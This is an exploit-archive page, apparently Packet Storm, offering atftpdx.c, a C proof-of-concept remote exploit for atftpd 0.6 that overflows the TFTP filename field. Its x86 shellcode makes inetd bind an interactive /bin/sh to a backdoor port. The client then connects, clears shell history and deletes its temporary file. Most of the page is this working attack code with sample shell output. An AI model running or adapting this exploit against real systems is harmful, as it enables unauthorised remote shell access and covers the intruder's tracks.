exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

atftpdx.c

atftpdx.c
Posted Jun 11, 2003
Authored by Gunzip

Proof of concept remote root exploit for atftpd version 0.6. Makes use of the filename overflow found by Rick Patel. Tested against Debian 3.0.

tags | exploit, remote, overflow, root, proof of concept
systems | linux, debian
SHA-256 | 9f6808a16e0468c6d54152cfeec1e9d9af5e7c3678ec1fac83789785f111fae5

atftpdx.c

Change Mirror Download
/**
** PoC linux/86 remote exploit against atftpd (c) gunzip ( FIXED )
**
** This is a PoC as I didn't investigate the bug very much :
**
** - shellcode is placed in the heap but I didn't check if you can
** increase the number of the nops (probably you can)
**
** - I didn't check other distro/os for offset(s)
**
** - atftpd may crash during attack
**
** - There are better shellcodes to use with this (connect back)
**
** - Code sux, better using select() instead of alarm()
**
** However on my machine with atftpd version 0.6 ( from Debian Woody .deb )
**
** [+] Using len=260 align=0 retaddr=0x08055640 shellcode=120 bport=2583
** sh: no job control in this shell
** sh-2.05b$ uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
** Linux gunzip 2.4.20 #2 Thu Mar 13 14:37:10 CET 2003 i686 unknown
** sh-2.05b$
**
** Thu Jun 5 20:37:32 CEST 2003
**
** bug found by Rick <rikul@interbee.com>
** http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0
**
** kisses to tankie
** greets: sorbo, arcangelo, jestah
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define HEAP_START 0x080514b4
#define HEAP_END 0x080594b4

#define BACKDOOR "rfe" /* port MUST be > 1024 */
#define NOPNUM 128 /* number of nops */
#define PORT 69 /* tftpd port */
#define BUFSIZE 512 /* size of exploit buffer */
#define TIMEOUT 0x5 /* timeout in sec. */
#define NOALARM 0x0 /* no timeout */
#define RRQ 0x1 /* request method */
#define MODE "octet" /* request mode */
#define OFFSET 16000 /* distance of nops from heap */

struct target {
char * name ;
unsigned int align ;
unsigned int len ;
unsigned int retaddr ;
} tg[] =
{
{ "Linux (Debian 3.0)", 0, 264, 0x0805560c },
{ NULL, 0, 0, 0 }
};

char shellcode[]= /* taken from lsd-pl.net */
"\xeb\x22" /* jmp <cmdshellcode+36> */
"\x59" /* popl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x66\x68""-c" /* pushw $0x632d */
"\x89\xe7" /* movl %esp,%edi */
"\x50" /* pushl %eax */
"\x51" /* pushl %ecx */
"\x57" /* pushl %edi */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
"\xe8\xd9\xff\xff\xff" /* call <cmdshellcode+2> */
"echo " BACKDOOR " stream tcp nowait nobody /bin/sh sh -i>/tmp/.x ;/usr/sbin/inetd /tmp/.x;"
;

void timeout( int sig )
{
alarm( NOALARM );
signal( SIGALRM, SIG_DFL );
fprintf(stderr,"[-] Timeout.\n");
exit( EXIT_FAILURE );
}

int shell( int fd )
{
int rd ;
fd_set rfds;
static char buff[ 1024 ];
char INIT_CMD[] = "unset HISTFILE; rm -f /tmp/.x; echo; id; uname -a\n";

write(fd, INIT_CMD, strlen( INIT_CMD ));

while(1) {
FD_ZERO( &rfds );
FD_SET(0, &rfds);
FD_SET(fd, &rfds);

if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
perror("[-] Select");
exit( EXIT_FAILURE );
}
if( FD_ISSET(0, &rfds) ) {
if( (rd = read(0, buff, sizeof(buff))) < 1) {
perror("[-] Read");
exit( EXIT_FAILURE );
}
if( write(fd,buff,rd) != rd) {
perror("[-] Write");
exit( EXIT_FAILURE );
}
}
if( FD_ISSET(fd, &rfds) ) {
if( (rd = read(fd, buff, sizeof(buff))) < 1) {
exit( EXIT_SUCCESS );
}
write(1, buff, rd);
}
}
}

int try( unsigned short bport, unsigned long ip )
{
int sockfd ;
struct sockaddr_in sheep ;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("[-] Socket");
exit( EXIT_FAILURE );
}

sheep.sin_family = AF_INET;
sheep.sin_addr.s_addr = ip ;
sheep.sin_port = htons ( bport );

signal( SIGALRM, timeout );
alarm( TIMEOUT );

if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1 )
{
alarm( NOALARM );
signal(SIGALRM,SIG_DFL);
return 0;
}

alarm( NOALARM );
signal(SIGALRM,SIG_DFL);

return sockfd ;
}

char * xp_make_str( unsigned int len, unsigned int align, unsigned long retaddr )
{
int c ;
char * xp = (char *)calloc( BUFSIZE, sizeof(char) );
char * code = shellcode ;

if( !xp ) {
fprintf(stderr, "[-] Not enough memory !\n");
exit( EXIT_FAILURE );
}

/* stupid check */

if (( align + len ) > (BUFSIZE - strlen( shellcode ) - 32)) {
fprintf(stderr, "[-] String too long or align too high.\n");
exit( EXIT_FAILURE );
}
/*
* our buffer shoud look like this
*
* [ NOPS ][ SHELLCODE ][ RETADDR * 4 ][ 0 ][ MODE ][ 0 ][ NOPS ][ SHELLCODE ]
* |_____> len
*/
memset ( xp, 0x41, BUFSIZE );

memcpy( xp + len - strlen( code ) - 16, code, strlen( code ));

for ( c = align + len - 16 ; c < len ; c += 4 )
*(long *)( xp + c ) = retaddr ;

*( xp ) = 0x0 ;
*( xp + 1 ) = RRQ ;
*( xp + len )= '\0' ;

memcpy( xp + len + 1, MODE, strlen( MODE ));

*( xp + len + 1 + strlen( MODE )) = '\0' ;

memcpy ( xp + BUFSIZE - strlen( code ), code, strlen( code ));

return xp ;
}

void usage( char * a )
{
int o = 0 ;
fprintf(stderr,
"__Usage: %s -h host -t target [options]\n\n"
"-o\toffset\n"
"-a\talign\n"
"-s\tstep for bruteforcing (try 120 <= step <= 512)\n"
"-l\tlength of filename\n"
"-v\ttreceives packets too (check if daemon's crashed)\n"
"-b\tenables bruteforce (dangerous !)\n\n", a);
while( tg[o].name != NULL )
{
fprintf(stderr, "\t%d - %s\n", o, tg[o].name ); o++ ;
}
fprintf( stderr, "\n" );
exit( EXIT_FAILURE );
}

int main(int argc, char *argv[])
{
int sfd, t = 0, bport = 0, opt = 0, offset = 0,
want_receive = 0, brute = 0, yeah = 0, step = 0;
struct servent * se ;
unsigned long n ;
char * host ;
struct sockaddr_in server ;
int len = sizeof(server);

char * rbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
char * wbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );

if ( !wbuf || !rbuf ) {
fprintf(stderr, "[-] Not enough memory !\n");
exit( EXIT_FAILURE );
}

memset(&server, 0, sizeof(server));

fprintf(stderr,"\nlinux/x86 atftpd remote exploit by gunzip\n\n");

if ( argc < 3 )
usage( argv[0] );

while ((opt = getopt(argc, argv, "bvo:a:l:h:t:s:")) != EOF) {
switch(opt)
{
case 's': step = atoi( optarg ); break ;
case 'h': host = strdup ( optarg ); break;
case 't': t = atoi(optarg); break;
case 'b': brute++ ; break ;
case 'v': want_receive++ ; break ;
case 'o': offset += atoi( optarg ); break;
case 'a': tg[t].align = atoi( optarg ); break;
case 'l': tg[t].len = atoi( optarg ); break;
default: usage( argv[0] ); break;
}
}
if (( se = getservbyname( BACKDOOR, NULL )) == NULL ) {
perror("[-] Getservbyname");
exit( EXIT_FAILURE );
}
if ((bport = ntohs( se->s_port )) < 1024 ) {
fprintf(stderr, "[-] Backdoor port must be <= 1024\n");
exit( EXIT_FAILURE );
}
if ( inet_aton( host , &server.sin_addr) == 0 ) {
struct hostent * he ;

if ( (he = gethostbyname( host )) == NULL ) {
perror("[-] Gethostbyname");
exit( EXIT_FAILURE );
}
server.sin_addr.s_addr =
((struct in_addr *)(he->h_addr))->s_addr ;
}
if ((sfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1 ) {
perror("[-] Socket");
exit( EXIT_FAILURE );
}

fprintf(stdout,"[+] Sending request to host %s\n",
inet_ntoa(server.sin_addr));

if ( !step ) step = tg[t].len / 2 ;
if ( brute ) offset += OFFSET ;

for( n = HEAP_START + offset; n < HEAP_END ; n += step ) {

fprintf(stdout,"[+] Using len=%d align=%d retaddr=0x%.8x shellcode=%d bport=%d\n",
tg[t].len, tg[t].align,
(brute ) ? (unsigned int)n : (unsigned int)tg[t].retaddr + offset,
strlen(shellcode), bport );

if ( !brute )
wbuf = xp_make_str( tg[t].len, tg[t].align, tg[t].retaddr + offset );
else
wbuf = xp_make_str( tg[t].len, tg[t].align, n );

server.sin_port = htons( PORT );

if ( sendto(sfd, wbuf,
(size_t) BUFSIZE, 0,
(struct sockaddr *)&server,
(socklen_t)sizeof(struct sockaddr)) < tg[t].len)
{
perror("[-] Sendto");
}
else if ( want_receive )
{
signal( SIGALRM, timeout );
alarm( TIMEOUT );

if ( recvfrom(sfd, rbuf,
(size_t) BUFSIZE, 0,
(struct sockaddr *)&server,
(socklen_t *)&len) != -1 )
{
alarm( NOALARM );
signal( SIGALRM, SIG_DFL);
fprintf( stdout,"[+] Received: %.2x %.2x %.2x %.2x\n",
rbuf[0],rbuf[1],rbuf[2],rbuf[3]);
}
else {
perror("[-] Recvfrom");
}
}
sleep ( 1 ) ;

if((yeah = try( bport, server.sin_addr.s_addr ))) {
shell( yeah );
exit( EXIT_SUCCESS );
}

if ( !brute ) break ;

memset( wbuf, 0, BUFSIZE + 4 );
memset( rbuf, 0, BUFSIZE + 4 );
}

return 1 ;
}
/* http://members.xoom.it/gunzip/ */
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close